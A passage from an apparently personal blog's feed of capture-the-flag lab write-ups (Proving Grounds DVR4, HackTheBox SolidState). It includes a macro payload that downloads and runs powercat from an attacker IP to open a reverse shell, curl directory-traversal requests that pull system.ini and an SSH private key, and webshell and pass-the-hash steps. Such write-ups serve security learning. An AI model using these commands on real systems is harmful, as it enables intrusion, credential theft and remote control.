&lt;p&gt;Now we close the Macro window and need to initialize the Macro on our &lt;code&gt;.odt&lt;/code&gt; file on opening.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/faaf1b4cb7feacc9e43320bfe5eb1dcf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/68e5e8928dffd9eee426e948c60516d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18dd20af56d576a968b09f7ad805ccc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Don&apos;t forget to write even the smallest sample text inside the file, or you will get thrown an error on upload.
:::&lt;/p&gt;
&lt;h3&gt;Inserting Payload&lt;/h3&gt;
&lt;p&gt;We will now go ahead and upload the &lt;code&gt;.odt&lt;/code&gt; file to the website, then trigger it from the &lt;code&gt;/uploads&lt;/code&gt; endpoint. Thus we need to ready our listener.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a832cfe874d24bb912f94d60506035ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b5fa16997cef96377cc6e69fa02fce0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/63d555cac5d21d020e398d5adc0ee2d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2912291e8beb46c661bc8c2707dfc2c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
Unfortunately the reverse shell didn&apos;t fire, let&apos;s modify it and try another payload.
:::&lt;/p&gt;
&lt;h3&gt;Revisiting Macro&lt;/h3&gt;
&lt;p&gt;I will modify the macro like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString(&apos;http://192.168.45.207/powercat.ps1&apos;);powercat -c 192.168.45.207 -p 443 -e powershell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this premise we will upload &lt;code&gt;powercat.ps1&lt;/code&gt; to the webserver, which will then serve us a reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/394d22054c1068d122a3ff8220eef13d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/81d340c75bbfc1d34c977332a3824448.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s upload the file again.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;After a short while the shell fires:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2331f2b455ac4502da04ece27e8f7ccc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
We have successfully &lt;em&gt;phished&lt;/em&gt; our way into the target!
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e1305115133dc8e757742592a8ffc48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s grab the &lt;code&gt;local.txt&lt;/code&gt; flag then do some enumerating:&lt;/p&gt;
&lt;h2&gt;local.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b825100670e4d6c06f5921af0b3d9bd9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumerating Target&lt;/h2&gt;
&lt;p&gt;I start by checking privileges, nothing notable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d938162f6fea748e66b1cef427dde75e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;tree /F&lt;/code&gt; on our user&apos;s home directory, and he has an absolute boatload of files.&lt;/p&gt;
&lt;p&gt;I went ahead and transferred winpeas because I am lazy:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8cf678441c8ddccbab832ddce57af5f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ce402c6f410e4c5e79c76ae53188374.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b063a88d79a12b0fde8f6ee1493d408.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We found valid creds, perhaps we can log in via RDP later.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/db0ffcffce99b1978ab48c9399c29fb6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scratch that, winrm is exposed instead, that is still a viable way to get a persistent shell.&lt;/p&gt;
&lt;h2&gt;Hashcat&lt;/h2&gt;
&lt;p&gt;I decided to crack the hash so I could log in via &lt;code&gt;winrm&lt;/code&gt; in case I had to reboot the target.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9a8515597cf00ec2267cdaddb2227095.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6326a0f1ec7fea5fb6f7723b28422ed3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems the hash is uncrackable, yet we can still use it in a &lt;em&gt;pass the hash&lt;/em&gt; scenario using &lt;code&gt;evil-winrm&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Lateral Movement&lt;/h1&gt;
&lt;p&gt;During the rest of the enumeration we find the following directory &lt;code&gt;C:\xampp\htdocs&lt;/code&gt; which is the website docroot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fbec2366275df18bb70c34d38006c747.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems like &lt;em&gt;apache&lt;/em&gt; has full control over it, since they&apos;re HIGHLY LIKELY a service account, that means they must have the &lt;strong&gt;SeImpersonatePrivilege&lt;/strong&gt; enabled which is standard for web service accounts.&lt;/p&gt;
&lt;p&gt;This tells us that we need to pivot to this user in order to further escalate our privileges.&lt;/p&gt;
&lt;p&gt;I thus went on to craft up a standard &lt;code&gt;php&lt;/code&gt; webshell and uploaded it to the webroot, then accessed it from the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79f57448132dd38ae14d49358456da0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd9d5fd7681e202305094636d65c838c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah it worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e2c041506ad1ccfc2a8453f31f22ce51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As expected, the service account indeed has the correct privileges to get &lt;em&gt;SYSTEM&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s set up another reverse shell.&lt;/p&gt;
&lt;h2&gt;Reverse Shell&lt;/h2&gt;
&lt;p&gt;I transferred the necessary tooling for my next steps.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f58d2c162beed2b94252af7d3ec2205c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And then created a new reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82b4a09da540f551cc0e1f1fd99fb1ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6216c63012d737e4b2071a25b64db85f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
We have successfully gotten a reverse shell as &lt;em&gt;apache&lt;/em&gt;.
:::&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Now all that&apos;s left is to abuse the privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/411267d12cff0c97bdb54e55f911a66c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50f79cedaf1e522e15c4d64b80e4af16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Overall neat way of getting access, the phishing part was quite easy and I had no problems whatsoever.
Important to get the methodology down afterwards for the priv-esc:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Found &lt;em&gt;apache&lt;/em&gt; service account?&lt;/li&gt;
&lt;li&gt;Check web root with &lt;code&gt;icacls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upload webshell/reverse shell&lt;/li&gt;
&lt;li&gt;Move laterally.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-DVR4</title><link>https://maxk9999.vercel.app/posts/dvr4</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/dvr4</guid><pubDate>Mon, 24 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.219.179
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -vvvv -p- dvr4 -sT -T5 --min-rate=5000

PORT      STATE SERVICE       REASON  VERSION
22/tcp    open  ssh           syn-ack Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
5040/tcp  open  unknown       syn-ack
7680/tcp  open  pando-pub?    syn-ack
8080/tcp  open  http-proxy    syn-ack
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
|_http-favicon: Unknown favicon MD5: 283B772C1C2427B56FC3296B0AF42F7C
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Connection: Keep-Alive
|     Keep-Alive: timeout=15, max=4
|     Content-Type: text/html
|     Content-Length: 985
|     &amp;lt;HTML&amp;gt;
|     &amp;lt;HEAD&amp;gt;
|     &amp;lt;TITLE&amp;gt;
|     Argus Surveillance DVR
|     &amp;lt;/TITLE&amp;gt;
|     &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=ISO-8859-1&quot;&amp;gt;
|     &amp;lt;meta name=&quot;GENERATOR&quot; content=&quot;Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]&quot;&amp;gt;
|     &amp;lt;frameset frameborder=&quot;no&quot; border=&quot;0&quot; rows=&quot;75,*,88&quot;&amp;gt;
|     &amp;lt;frame name=&quot;Top&quot; frameborder=&quot;0&quot; scrolling=&quot;auto&quot; noresize src=&quot;CamerasTopFrame.html&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot;&amp;gt; 
|     &amp;lt;frame name=&quot;ActiveXFrame&quot; frameborder=&quot;0&quot; scrolling=&quot;auto&quot; noresize src=&quot;ActiveXIFrame.html&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot;&amp;gt;
|     &amp;lt;frame name=&quot;CamerasTable&quot; frameborder=&quot;0&quot; scrolling=&quot;auto&quot; noresize src=&quot;CamerasBottomFrame.html&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot;&amp;gt; 
|     &amp;lt;noframes&amp;gt;
|     &amp;lt;p&amp;gt;This page uses frames, but your browser doesn&apos;t support them.&amp;lt;/p&amp;gt;
|_    &amp;lt;/noframes&amp;gt;
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c93c2cf820f120468c4da2dc0b6183a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8080/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9fcc30e4e41e9fe543ad8893d383ee3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I look up exploits matching the service:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4977a08cd478ad5974fe27104e9be01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I actually get quite a lot of them, let&apos;s try out the &lt;strong&gt;Directory Traversal&lt;/strong&gt; one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1727fbb57802786741496cb71589c895.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# PoC

curl &quot;http://dvr4:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&amp;amp;USEREDIRECT=1&amp;amp;WEBACCOUNTID=&amp;amp;WEBACCOUNTPASSWORD=&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/add47350bbb38a0c75f48a7a7b36e49e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We indeed get the intended result.&lt;/p&gt;
&lt;p&gt;Back on the website we find the user we&apos;re looking for:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a47da0ec30e1d9d5bfc5df773e091bea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We want to get the ssh key of &lt;em&gt;viewer&lt;/em&gt; so we can then log in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://dvr4:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FViewer%2F.ssh%2Fid_rsa&amp;amp;USEREDIRECT=1&amp;amp;WEBACCOUNTID=&amp;amp;WEBACCOUNTPASSWORD=&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07ff7964bb71e7dae28ae4a0937a69f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have the &lt;code&gt;id_rsa&lt;/code&gt; key, we can use it to log into SSH.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/260c380d461f5331759eddb56069c6cb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54fb5758053c60043d9710c39855b65a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ&lt;/p&gt;
&lt;p&gt;Let&apos;s check out the home directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3dcb924454908b274b4b535ab447de6c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice the user already has &lt;code&gt;nc.exe&lt;/code&gt; as well as &lt;code&gt;psexec.exe&lt;/code&gt; in here... Might be a clue.&lt;/p&gt;
&lt;p&gt;Let&apos;s snatch the &lt;code&gt;local.txt&lt;/code&gt; first.&lt;/p&gt;
&lt;h2&gt;local.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6277cbf397715f715404e448d5ba3346.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;We also find another PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/828741fd3638361b9d246b6b45b419da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In here we see a mention of the &lt;code&gt;.ini&lt;/code&gt; file, let&apos;s check it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa4a657fa19b9ddabb7debb08c469701.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4217bd840d88203bb038f972064bb31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8cb2fa6b292acb717fde887a3711fac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f214445aca1c813aa3440ffa717aef2e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1db6b13f4670fc5b91f4b28488d2757e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Notice the &lt;strong&gt;Unknown&lt;/strong&gt; character here.&lt;/p&gt;
&lt;p&gt;:::note
It is possible that we might have to brute force the last character if this is the correct password.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;14WatchD0g
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f110cb4642c152f5b18753f61d4b30aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ImWatchingYou
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e6317a4fff03729857504febc91a553.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
Neither worked.
:::&lt;/p&gt;
&lt;p&gt;Let&apos;s try the &lt;code&gt;nc.exe&lt;/code&gt; binary then, with the help of &lt;code&gt;runas&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd5fa1da2e8b797a990906ba2bc1b980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
Again no success, let&apos;s try to brute force the last &lt;strong&gt;Unknown&lt;/strong&gt; character that we found previously.
:::&lt;/p&gt;
&lt;p&gt;After some tries it worked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f0660895d041206fe4a91b34cf8ca26c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb5b6f3815d52f706399be54639278ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The correct password was &lt;code&gt;14WatchD0g$&lt;/code&gt;
:::&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/115e7c1404fae67346215f7b06f3d3f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-SolidState</title><link>https://maxk9999.vercel.app/posts/solidstate</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/solidstate</guid><pubDate>Sun, 16 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.51
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap solid -p- -sC -sV -sT -T5 -vvvv --min-rate 5000 --reason

PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp        syn-ack JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello solid (10.10.16.3 [10.10.16.3])
80/tcp   open  http        syn-ack Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
110/tcp  open  pop3        syn-ack JAMES pop3d 2.3.2
119/tcp  open  nntp        syn-ack JAMES nntpd (posting ok)
4555/tcp open  james-admin syn-ack JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also tried &lt;code&gt;161&lt;/code&gt; UDP for good measure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap solid -p161 -sC -sV -sU -T5 -vvvv --min-rate 5000 --reason

Host is up, received echo-reply ttl 63 (0.086s latency).
Scanned at 2025-03-16 08:09:29 CET for 1s

PORT    STATE  SERVICE REASON              VERSION
161/udp closed snmp    port-unreach ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away I notice the &lt;strong&gt;JAMES Remote Admin 2.3.2&lt;/strong&gt; service which I look up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd2ed9c23fe48b6f96e9d6ec9c89d344.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Good to know! Let&apos;s enumerate the rest first.&lt;/p&gt;
&lt;h2&gt;25/TCP - SMTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8c0656e20de7f729e77d645b0f24b7c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Relay attack isn&apos;t possible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21d2ed18c083c71211c097c709f2a193.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After some minutes of scanning I didn&apos;t find any names, moving on.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d7bd19fdc3feafb1cc75f415e177d34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was about the most useful I could find in a quick skim. Let&apos;s run &lt;code&gt;feroxbuster&lt;/code&gt; and enumerate the web server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4fc90b66649e056def000402140e42a8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/224c7ae6d4e6809ff9e740737fbf5e20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just some static assets, moving on.&lt;/p&gt;
&lt;h2&gt;110/TCP - POP3&lt;/h2&gt;
&lt;p&gt;We don&apos;t have any user info so we can&apos;t do anything here &lt;em&gt;yet&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;119/TCP - NNTP&lt;/h2&gt;
&lt;p&gt;Unknown what this port does atm, but I think it&apos;s linked to the next port.&lt;/p&gt;
&lt;h2&gt;4555/TCP - James-Admin&lt;/h2&gt;
&lt;p&gt;The PoC we previously found in [[#Nmap]] gave us some interesting info:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e64067dc641f62ec75369613f1be240.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears the default creds are &lt;code&gt;root:root&lt;/code&gt;, let&apos;s try it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/338d251d75c2633e0376c0bf143246fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well it appears someone didn&apos;t change the default creds, good for us.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/090d0be2b814258262f700f3f80e906b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and added these to a user list, in case I want to spray later on:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/120474d0457f79823187d1bbb42fafa2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seemed to be sort of a dead end though:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8245a6d2069885fff75f0e156223b5e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s instead download over the PoC and run that in order to get RCE.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;Unfortunately it wouldn&apos;t fire:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c96a8bb3476a26892baca8292b55cf1a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However when we check the service via &lt;code&gt;nc&lt;/code&gt; we now see the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f31bdd28c298540ecc6b378628c0efe6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This means the exploit tried to add a new user.&lt;/p&gt;
&lt;p&gt;:::note
I also tried the older version but that didnt work either for RCE.
:::&lt;/p&gt;
&lt;p&gt;What we can do instead is just change passwords of the users since we&apos;re an admin account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1936d218e25bb1fc1aacf7136c8bf63e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0fef200fbfd78332c223e4f8c10edfca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c96618fb3afc3d3b06da81ee76bd7bd5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, we were able to find the creds.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mindy
P@55W0rd1!2@
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;Upon login we notice that the previously set up exploit now fires:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac8dd241ecb3c975a249c201eee6c69f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not to worry, couple of &lt;code&gt;enter&lt;/code&gt; further we are down to the normal SSH shell.&lt;/p&gt;
&lt;h2&gt;user.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b5a8c77d652a8f535f985c1b747f796.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Due to the presence of the &lt;code&gt;.rhosts&lt;/code&gt; file it appears that the server is running &lt;code&gt;r-services&lt;/code&gt;, however we can&apos;t view the file since it is owned by &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I tried to enumerate the system but it wouldn&apos;t give:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b2020d7500c48a5bfdd6d208c44b2558.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try another approach, since we&apos;re in this jail I remembered that just now the script would indeed launch upon making the &lt;code&gt;ssh&lt;/code&gt; connection. Meaning that the reverse shell HIGHLY LIKELY will execute if we retry it with a listener.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b33dfae73f65f0a57eb5e8c0d42fcc6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5b7b0d477d08a93ccd6f86c553776e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad0728186e7a32ffa3145a054293988c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just as imagined, we indeed receive a reverse shell, let&apos;s see if we can do some more commands with this one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79281c4d0f78cc9ffa0da83fa153ab9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears that this shell is way more interactive, let&apos;s continue our approach.&lt;/p&gt;
&lt;p&gt;I downloaded over &lt;code&gt;pspy32&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c757c927649a2f2f5da156687ed0cf0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/74a700bd0c0212995a6ee6e334fcbedd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I let it run for a bit and checked back.&lt;/p&gt;
&lt;p&gt;After a few minutes I noticed that &lt;em&gt;root&lt;/em&gt; had a script running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9327afd3ac79b854707d6efdff91429d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/681955e091c2e3a70023c1ec315612ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I bet we can change this up in order to get ourselves a root shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3aa901afdf46c7ead1b94aea2699f46d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
